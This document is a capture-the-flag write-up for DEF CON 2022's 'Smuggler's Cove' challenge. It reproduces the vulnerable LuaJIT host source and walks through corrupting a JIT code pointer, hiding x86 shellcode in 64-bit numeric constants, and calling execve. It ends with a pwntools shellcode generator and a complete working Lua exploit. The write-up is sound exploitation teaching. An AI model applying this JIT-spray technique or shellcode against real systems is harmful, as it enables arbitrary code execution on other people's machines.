Smuggler's Cove
Smuggler's Cove was a pwn challenge based on LuaJIT based lua interpreter + pointer corruption to disalign jitted function

CTFs/defcon/2022/quals/smugglers_cove at main · 0xTen/CTFs
GitHub

#include <stdio.h>
#include <lua.h>
#include <lualib.h>
#include <lauxlib.h>
#include "luajit.h"
#include "lj_dispatch.h"
#include "lj_obj.h"
#include <sys/mman.h>
#define MAX_SIZE 433
GCtrace* getTrace(lua_State* L, uint8_t index) {
jit_State* js = L2J(L);
if (index >= js->sizetrace)
return NULL;
return (GCtrace*)gcref(js->trace[index]);
}
int print(lua_State* L) {
if (lua_gettop(L) < 1) {
return luaL_error(L, "expecting at least 1 arguments");
}
const char* s = lua_tostring(L, 1);
puts(s);
return 0;
}
int debug_jit(lua_State* L) {
if (lua_gettop(L) != 2) {
return luaL_error(L, "expecting exactly 1 arguments");
}
luaL_checktype(L, 1, LUA_TFUNCTION);
const GCfunc* v = lua_topointer(L, 1);
if (!isluafunc(v)) {
return luaL_error(L, "expecting lua function");
}
uint8_t offset = lua_tointeger(L, 2);
uint8_t* bytecode = mref(v->l.pc, void);
uint8_t op = bytecode[0];
uint8_t index = bytecode[2];
GCtrace* t = getTrace(L, index);
if (!t || !t->mcode || !t->szmcode) {
return luaL_error(L, "Blimey! There is no cargo in this ship!");
}
printf("INSPECTION: This ship's JIT cargo was found to be %p\n", t->mcode);
if (offset != 0) {
if (offset >= t->szmcode - 1) {
return luaL_error(L, "Avast! Offset too large!");
}
t->mcode += offset;
t->szmcode -= offset;
printf("... yarr let ye apply a secret offset, cargo is now %p ...\n", t->mcode);
}
return 0;
}
void set_jit_settings(lua_State* L) {
luaL_dostring(L,
"jit.opt.start('3');"
"jit.opt.start('hotloop=1');"
);
}
void init_lua(lua_State* L) {
// Init JIT lib
lua_pushcfunction(L, luaopen_jit);
lua_pushstring(L, LUA_JITLIBNAME);
lua_call(L, 1, 0);
set_jit_settings(L);
lua_pushnil(L);
lua_setglobal(L, "jit");
lua_pop(L, 1);
lua_pushcfunction(L, debug_jit);
lua_setglobal(L, "cargo");
lua_pushcfunction(L, print);
lua_setglobal(L, "print");
}
void run_code(lua_State* L, char* path) {
const size_t max_size = MAX_SIZE;
char* code = calloc(max_size+1, 1);
FILE* f = fopen(path,"r");
if (f == NULL) {
puts("Unable to open file");
exit(-1);
}
fseek(f, 0, SEEK_END);
size_t size = ftell(f);
if (size > max_size) {
puts("Too large");
exit(-1);
return;
}
fseek(f, 0, SEEK_SET);
fread(code, 1, size, f);
fclose(stdin);
int ret = luaL_dostring(L, code);
if (ret != 0) {
printf("Lua error: %s\n", lua_tostring(L, -1));
}
}
int main(int argc, char** argv) {
setvbuf(stdout, NULL, _IONBF, 0);
lua_State *L;
if (argc < 2) {
puts("Missing lua cargo to inspect");
return -1;
}
L = luaL_newstate();
if (!L) {
puts("Failed to load lua");
return -1;
}
init_lua(L);
run_code(L, argv[1]);
lua_close(L);
}

As we can see from the initial lua state, only two functions are exposed to the lua environment:
[...]
void init_lua(lua_State* L) {
[...]
lua_pushcfunction(L, debug_jit);
lua_setglobal(L, "cargo");
lua_pushcfunction(L, print);
lua_setglobal(L, "print");
}
[...]
We can execute cargo and print, whose respective callbacks are debug_jit and print.
The print function only prints a lua variable as string, nothing special. But, the cargo function (debug_jit) is very very interesting as it adds a user provided offset to the pointer of a jitted function of choice:
[...]
int debug_jit(lua_State* L) {
[...]
const GCfunc* v = lua_topointer(L, 1);
[...]
uint8_t offset = lua_tointeger(L, 2);
uint8_t* bytecode = mref(v->l.pc, void);
uint8_t op = bytecode[0];
uint8_t index = bytecode[2];
// Gets the pointer fo the jitted mcode block where ou
GCtrace* t = getTrace(L, index);
// If function isn't jitted this will fail
if (!t || !t->mcode || !t->szmcode) {
return luaL_error(L, "Blimey! There is no cargo in this ship!");
}
[...]
if (offset != 0) {
if (offset >= t->szmcode - 1) { // Pointer is limited to it's original mcode block
return luaL_error(L, "Avast! Offset too large!");
}
t->mcode += offset; // Adds useer controlled offset
t->szmcode -= offset; // Prevents messing the mcode bounds check up
[...]
}
return 0;
}
[...]
We can use the cargo function to add an offset to the pointer of a jitted function of choice, but we can't just point it anywhere since the offset that we can add is limited to the mcode block it is in.
The best we can do is skip or disalign some instructions adding small offsets:
function f(i)
print(i)
end
f("a")
f("a") -- functions called twiced are marked as hot and jitted
cargo(f,2)
f("a")
After function f is jitted, we should be able to add an offset to it. If we add an offset that would disalign the instructions of function f, we should see a segfault:
a
a
INSPECTION: This ship's JIT cargo was found to be 0x7f360982ff00
... yarr let ye apply a secret offset, cargo is now 0x7f360982ff02 ...
[1] 133153 segmentation fault (core dumped) ./cove_local crash.lua

Now that we are able to disalign the jitted code we can try to reflect some controlled bytes and maybe get those to be executed as instructions. One way of doing this is using numeric constants like this:
function f(i)
if i == 0xdeadbeefcafebabeLL then print(i) end
end
f(0)
f(0)
cargo(f,2)
f(0)
In this format the print inside the if block is only there to make sure the compiler won't ignore this comparison since it does nothing. Here is what this function compiles to:
The if statment translate to moving 0xdeadbeefcafebabe into a register to later use it in a comparison, so we can expect to see 0xdeadbeeefcafebabe reflected in memory.
Now it's just a matter of calculating the offset from the starting of the jitted function to the start of our numeric constant, which is 0xd.
function f(i)
if i == 0xdeadbeefcafebabeLL then print(i) end
end
f(0)
f(0)
cargo(f,0xd)
f(0)
In this case the function pointer will be offset 0xd from the start of the jitted function, which means, the bytes 0xdeadbeefcafebabe will be executed as instructions.
But we can't fit any shellcode in just 8 bytes, so we need to split our shellcode in multiple parts and connect them using relative jmps.

In this challenge we don't have access to stdin over network. All we can do is submit our exploit to be ran on the remote server and then the output is sent to us, so we can't simply pop a shell and read the flag. Instead, we are meant to execute a binary with 111 permitions (exec only) called dig_up_the_loot, that will show us the flag:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char* args[] = { "x", "marks", "the", "spot" };
int main(int argc, char** argv) {
const size_t num_args = sizeof(args)/sizeof(char*);
if (argc != num_args + 1) {
printf("Avast ye missing arguments: ./dig_up_the_loot");
for (size_t i=0; i<num_args; i++)
printf(" %s", args[i]);
puts("");
exit(0);
}
for (size_t i=0; i<num_args; i++) {
if (strcmp(argv[i+1], args[i])) {
puts("Blimey! Are missing your map?");
exit(0);
}
}
puts("Shiver me timbers! Thar be your flag: FLAG PLACEHOLDER");
}
In order for this to work we need argc to be 5 and argv to be ["./dig_up_the_loot","x","marks","the","spot"] . We also need rdi to hold a pointer to the ./dig_up_the_loot string and finally exec the execve syscall.
Notice that our lua file can't be larger than 433:
#define MAX_SIZE 433
So pushing all the strings onto the stack then push the pointers to get the char *arg[] pointer array is not a good idea. Instead I abused the fact that at the beggining of the execution of the jitted function, the rcx register points to a memory area that seems to carry lua variables and other data related to the lua state:
function f(i)
s="./dig_up_the_loot\0spot\0the\0marks\0x\0"
if i == 0xdeadbeefcafebabeLL then print(i) end
end
f(0)
f(0)
cargo(f,2)
f(0)
This offset is deterministic but it's determined by our jitted function so keep in mind that we'll need to calculate this offset after the rest of the shellcode is done. All we need to do is increment the rcx register and push it onto the stack multiple times. I wrote a python script to generate the shellcode in the desired format:
#!/usr/bin/env python2
from pwn import *
context.binary = ELF('./cove_local',checksec=False)
shellcode = []
shellcode.append(u64(asm("add cx, 0x60; push rcx; nop; jmp $+4").ljust(8,'\0')))
shellcode.append(u64(asm("pop rdi; add cx, 0x12; jmp $+5").ljust(8,'\0')))
shellcode.append(u64(asm("push 0; nop; nop; push rcx; jmp $+5").ljust(8,'\0')))
shellcode.append(u64(asm("add cx, 5; push rcx; jmp $+5").ljust(8,'\0')))
shellcode.append(u64(asm("add cx, 4; push rcx; jmp $+5").ljust(8,'\0')))
shellcode.append(u64(asm("add cx, 6; push rcx; jmp $+5").ljust(8,'\0')))
shellcode.append(u64(asm("push rdi; push rsp; pop rsi; push 59; pop rax; syscall").ljust(8,'\0')))
for i in shellcode:
print('if i == {}LL then print(i) end'.format(hex(i)))
if i == 0x2eb905160c18366LL then print(i) end
if i == 0x3eb12c183665fLL then print(i) end
if i == 0x3eb519090006aLL then print(i) end
if i == 0x3eb5105c18366LL then print(i) end
if i == 0x3eb5104c18366LL then print(i) end
if i == 0x3eb5106c18366LL then print(i) end
if i == 0x50f583b6a5e5457LL then print(i) end
Finally, notice that the JIT compiler doesn't move the numeric constants to the registers in order so I had to manually check in gdb what order it was using and manually adapt my exploit.

function f(i)
local s="./dig_up_the_loot\0spot\0the\0marks\0x\0"
if i == 0x50f583b6a5e5457LL then print(i) end
if i == 0x3eb5104c18366LL then print(i) end
if i == 0x3eb5105c18366LL then print(i) end
if i == 0x3eb519090006aLL then print(i) end
if i == 0x3eb12c183665fLL then print(i) end
if i == 0x2eb905160c18366LL then print(i) end
if i == 0x3eb5106c18366LL then print(i) end
end
f(0)
f(0)
cargo(f,0xd)
f(0)
Copy link
On this page
Files
Source code
Corrupt function pointer
Arbitrary Code Execution
Shellcode
Final Exploit